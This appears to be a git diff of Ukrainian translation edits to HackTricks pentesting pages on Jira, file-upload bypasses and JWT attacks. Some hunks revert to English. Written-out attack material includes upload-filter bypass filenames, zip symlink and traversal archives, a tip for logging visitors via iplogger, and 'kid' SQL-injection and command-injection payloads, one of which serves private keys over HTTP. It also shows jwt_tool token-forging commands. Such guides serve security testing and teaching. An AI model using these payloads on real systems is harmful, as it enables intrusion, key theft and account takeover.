- {% embed url="https://websec.nl/" %} {% hint style="success" %} -Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md index 50e237356..78e05b795 100644 --- a/network-services-pentesting/pentesting-web/jira.md +++ b/network-services-pentesting/pentesting-web/jira.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). @@ -25,7 +25,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h У Jira, **привілеї можна перевірити** будь-яким користувачем, автентифікованим чи ні, через кінцеві точки `/rest/api/2/mypermissions` або `/rest/api/3/mypermissions`. Ці кінцеві точки розкривають поточні привілеї користувача. Значна проблема виникає, коли **неавтентифіковані користувачі мають привілеї**, що вказує на **вразливість безпеки**, яка може бути підставою для **бонусу**. Аналогічно, **неочікувані привілеї для автентифікованих користувачів** також підкреслюють **вразливість**. -Важливе **оновлення** було зроблено **1 лютого 2019 року**, що вимагало, щоб кінцева точка 'mypermissions' включала **параметр 'permission'**. Це вимога має на меті **підвищити безпеку**, уточнюючи привілеї, які запитуються: [перевірте це тут](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) +Важливе **оновлення** було зроблено **1 лютого 2019 року**, що вимагало, щоб кінцева точка 'mypermissions' включала **параметр 'permission'**. Це вимога має на меті **підвищити безпеку**, вказуючи на привілеї, які запитуються: [перевірте це тут](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) * ADD\_COMMENTS * ADMINISTER @@ -129,7 +129,7 @@ public OutputType getOutputType() { return OutputType.BLOCK; } * **Зворотний шелл**: Або отримати зворотний шелл. * **DOM-проксіювання**: Якщо Confluence знаходиться в приватній мережі, буде можливим встановити з'єднання через браузер деякого користувача з доступом до нього і, наприклад, зв'язатися з сервером, виконуючи команди через нього. -
+
Якщо вас цікавить **кар'єра в хакінгу** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). diff --git a/pentesting-web/file-upload/README.md b/pentesting-web/file-upload/README.md index 77de242db..cce6b9f67 100644 --- a/pentesting-web/file-upload/README.md +++ b/pentesting-web/file-upload/README.md @@ -15,7 +15,7 @@
{% endhint %} -
+
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). @@ -36,7 +36,7 @@ ### Обхід перевірок розширень файлів -1. Якщо це застосовно, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._ +1. Якщо вони застосовуються, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._ 2. _Перевірте **додавання дійсного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_ * _file.png.php_ * _file.png.Php5_ @@ -59,12 +59,12 @@ * _file.php%0a.png_ * _file.php%0d%0a.png_ * _file.phpJunk123png_ -5. Додайте **ще один шар розширень** до попередньої перевірки: +5. Додайте **інший шар розширень** до попередньої перевірки: * _file.png.jpg.php_ * _file.php%00.png%00.jpg_ -6. Спробуйте поставити **виконуване розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **_**.php**_**, але** не обов'язково закінчується на .php** виконає код): +6. Спробуйте поставити **exec розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **.php**, але не обов'язково закінчується на .php, буде виконувати код): * _ex: file.php.png_ -7. Використання **альтернативного потоку даних NTFS (ADS)** в **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”) +7. Використання **NTFS альтернативного потоку даних (ADS)** у **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”) 8. Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php ``` @@ -86,32 +86,32 @@ AAA<--SNIP 232 A-->AAA.php.png `exiftool -Comment="' >> img.png` -* Якщо **сжаття додається до вашого зображення**, наприклад, використовуючи деякі стандартні бібліотеки PHP, такі як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**. +* Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**. * [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) * Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **техніку IDAT chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**. * [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) -* Ще одна техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**. +* Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**. * [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) ### Інші трюки для перевірки * Знайдіть вразливість для **перейменування** вже завантаженого файлу (щоб змінити розширення). -* Знайдіть вразливість **Local File Inclusion**, щоб виконати бекдор. +* Знайдіть вразливість **Local File Inclusion** для виконання бекдору. * **Можливе розкриття інформації**: -1. Завантажте **кілька разів** (і **одночасно**) **той самий файл** з **тим самим ім'ям** +1. Завантажте **декілька разів** (і в **один і той же час**) **той самий файл** з **тим самим ім'ям** 2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує** -3. Завантажте файл з **“.”, “..”, або “…” як його ім'я**. Наприклад, в Apache в **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”. +3. Завантажте файл з **“.”, “..”, або “…” як його ім'я**. Наприклад, в Apache на **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”. 4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** в **NTFS**. (Windows) -5. Завантажте файл в **Windows** з **недійсними символами**, такими як `|<>*?”` в його імені. (Windows) -6. Завантажте файл в **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена**, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9. -* Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли його випадково відкриє жертва. +5. Завантажте файл у **Windows** з **недійсними символами**, такими як `|<>*?”` в його імені. (Windows) +6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена**, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9. +* Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли випадково відкриється жертвою. ### Спеціальні трюки з розширеннями Якщо ви намагаєтеся завантажити файли на **PHP сервер**, [ознайомтеся з трюком **.htaccess** для виконання коду](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ Якщо ви намагаєтеся завантажити файли на **ASP сервер**, [ознайомтеся з трюком **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його з php або включаючи його в скрипт...) +Файли `.phar` подібні до `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його з php або включаючи його в скрипт...) Розширення `.inc` іноді використовується для php файлів, які використовуються лише для **імпорту файлів**, тому в якийсь момент хтось міг дозволити **виконання цього розширення**. @@ -151,7 +151,7 @@ characters = @(call://uwsgi_func) ## **wget File Upload/SSRF Trick** -В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\ +В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\ **Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**. ```bash #Create file and HTTP server @@ -195,7 +195,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= * [Відома вразливість **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * Якщо ви можете **вказати веб-серверу, щоб отримати зображення з URL**, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/). Якщо це **зображення** буде **збережено** на якомусь **публічному** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **вкрасти інформацію про кожного відвідувача**. * [**XXE та CORS** обхід з завантаженням PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -* Спеціально підготовлені PDF для XSS: [наступна сторінка показує, як **впровадити PDF-дані для отримання виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок. +* Спеціально підготовлені PDF для XSS: [наступна сторінка показує, як **впровадити дані PDF для отримання виконання JS**](../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок. * Завантажте \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) вміст, щоб перевірити, чи є на сервері якийсь **антивірус** * Перевірте, чи є якийсь **обмеження за розміром** при завантаженні файлів @@ -204,11 +204,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Збережений XSS / SSRF / XXE 3. **GIF**: Збережений XSS / SSRF -4. **CSV**: CSV-ін'єкція +4. **CSV**: Ін'єкція CSV 5. **XML**: XXE 6. **AVI**: LFI / SSRF -7. **HTML / JS** : HTML-ін'єкція / XSS / Відкрите перенаправлення -8. **PNG / JPEG**: Атака на піксельний потік (DoS) +7. **HTML / JS** : Ін'єкція HTML / XSS / Відкрите перенаправлення +8. **PNG / JPEG**: Атака на піксельний потоп (DoS) 9. **ZIP**: RCE через LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE @@ -227,7 +227,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі: -#### Символьне посилання +#### Символічне посилання Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів: ``` @@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt ``` ### Decompress in different folders -Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP-архіву можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку. +Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку. Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано: ```python @@ -304,9 +304,9 @@ pop graphic-context ``` ## Вбудовування PHP Shell у PNG -Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання. +Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки їх зазвичай використовують для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання. -Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надається в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків. +Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надано в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків. Більше інформації за адресою: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) @@ -314,9 +314,9 @@ pop graphic-context Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі. -Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальноприйнята практика в різних додатках передбачає дозволення лише певних типів файлів для завантаження — таких як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїїв кількох типів файлів, може непомітно обійти ці обмеження. +Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних програмах є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження. -Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження. +Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна подвійність поліглота може не бути достатньою для гарантії його завантаження. Більше інформації за адресою: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) @@ -329,23 +329,23 @@ pop graphic-context * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -
+
-Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). +If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Вчіться та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вчіться та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Підтримка HackTricks +Support HackTricks -* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 9fbd48c88..32cdc88f8 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -1,21 +1,21 @@ -# JWT Вразливості (Json Web Tokens) +# Уразливості JWT (Json Web Tokens) {% hint style="success" %} -Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вивчайте та практикуйте Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Підтримайте HackTricks +Підтримати HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! -* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
{% endhint %} -
+
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). @@ -26,7 +26,7 @@ ### **Швидкі перемоги** -Запустіть [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) в режимі `All Tests!` і чекайте на зелені рядки. +Запустіть [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) в режимі `All Tests!` і чекайте зелених рядків. ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ @@ -48,7 +48,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" #### **Чи перевіряється токен?** -Щоб перевірити, чи підпис JWT перевіряється: +Щоб перевірити, чи перевіряється підпис JWT: * Повідомлення про помилку вказує на те, що триває перевірка; чутливі деталі у детальних помилках слід переглянути. * Зміна на повернутій сторінці також вказує на перевірку. @@ -103,7 +103,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem * Змініть значення "jku" токена, щоб направити його на контрольовану веб-службу, що дозволяє спостерігати за трафіком. * **Моніторинг HTTP-взаємодії**: * Спостереження за HTTP-запитами до вашого вказаного URL вказує на спроби сервера отримати ключі з наданого вами посилання. -* При використанні `jwt_tool` для цього процесу важливо оновити файл `jwtconf.ini` з вашим особистим розташуванням JWKS для полегшення тестування. +* При використанні `jwt_tool` для цього процесу важливо оновити файл `jwtconf.ini` з вашим особистим місцем розташування JWKS для полегшення тестування. * **Команда для `jwt_tool`**: * Виконайте наступну команду, щоб змоделювати сценарій з `jwt_tool`: @@ -121,34 +121,34 @@ python3 jwt_tool.py JWT_HERE -X s #### Перехід по шляху з "kid" -Заява `kid` також може бути використана для навігації по файловій системі, що потенційно дозволяє вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або служби. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче: +Заява `kid` також може бути використана для навігації по файловій системі, потенційно дозволяючи вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або служби. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` -Націлюючись на файли з передбачуваним вмістом, можна підробити дійсний JWT. Наприклад, файл `/proc/sys/kernel/randomize_va_space` в системах Linux, відомий тим, що містить значення **2**, можна використовувати в параметрі `kid` з **2** як симетричним паролем для генерації JWT. +By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation. -#### SQL-ін'єкція через "kid" +#### SQL Injection via "kid" -Якщо вміст заяви `kid` використовується для отримання пароля з бази даних, SQL-ін'єкція може бути здійснена шляхом модифікації корисного навантаження `kid`. Приклад корисного навантаження, яке використовує SQL-ін'єкцію для зміни процесу підписання JWT, включає: +If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes: `non-existent-index' UNION SELECT 'ATTACKER';-- -` -Ця зміна змушує використовувати відомий секретний ключ, `ATTACKER`, для підписання JWT. +This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing. -#### OS-ін'єкція через "kid" +#### OS Injection through "kid" -Сценарій, в якому параметр `kid` вказує на шлях до файлу, що використовується в контексті виконання команди, може призвести до вразливостей віддаленого виконання коду (RCE). Впроваджуючи команди в параметр `kid`, можна розкрити приватні ключі. Приклад корисного навантаження для досягнення RCE та розкриття ключа: +A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` -### x5u та jku +### x5u and jku #### jku -jku означає **JWK Set URL**.\ -Якщо токен використовує заяву “**jku**” **Header**, тоді **перевірте наданий URL**. Це має вказувати на URL, що містить файл JWKS, який містить публічний ключ для перевірки токена. Змініть токен, щоб вказати значення jku на веб-сервіс, за яким ви можете моніторити трафік. +jku stands for **JWK Set URL**.\ +If the token uses a “**jku**” **Header** claim then **перевірте надане URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for. -Спочатку вам потрібно створити новий сертифікат з новими приватними та публічними ключами. +First you need to create a new certificate with new private & public keys ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt @@ -167,9 +167,9 @@ print("e:", hex(key.e)) ``` #### x5u -X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у формі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати кожен підписує попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека. +X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у форматі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати підписують попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека. -Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **зможете підробити JWT**. +Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **можете підробити JWT**. Щоб підробити новий токен, використовуючи сертифікат, контрольований вами, вам потрібно створити сертифікат і витягти публічні та приватні ключі: ```bash @@ -188,7 +188,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ![](<../.gitbook/assets/image (1119).png>) -Якщо зловмисник **генерує самопідписаний сертифікат** і створює підроблений токен, використовуючи відповідний приватний ключ, і замінює значення параметра "x5c" на новостворений сертифікат та модифікує інші параметри, а саме n, e та x5t, то, по суті, підроблений токен буде прийнятий сервером. +Якщо зловмисник **генерує самопідписаний сертифікат** і створює підроблений токен, використовуючи відповідний приватний ключ, і замінює значення параметра "x5c" на новостворений сертифікат та модифікує інші параметри, а саме n, e та x5t, тоді, по суті, підроблений токен буде прийнятий сервером. ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text @@ -248,11 +248,11 @@ console.log('Parameter e: ', publicComponents.e.toString(16)); Було помічено, що деякі веб-додатки покладаються на надійний сервіс JWT для генерації та управління своїми токенами. Зафіксовано випадки, коли токен, згенерований для одного клієнта сервісом JWT, був прийнятий іншим клієнтом того ж сервісу JWT. Якщо спостерігається видача або поновлення JWT через сторонній сервіс, слід дослідити можливість реєстрації облікового запису на іншому клієнті цього сервісу, використовуючи 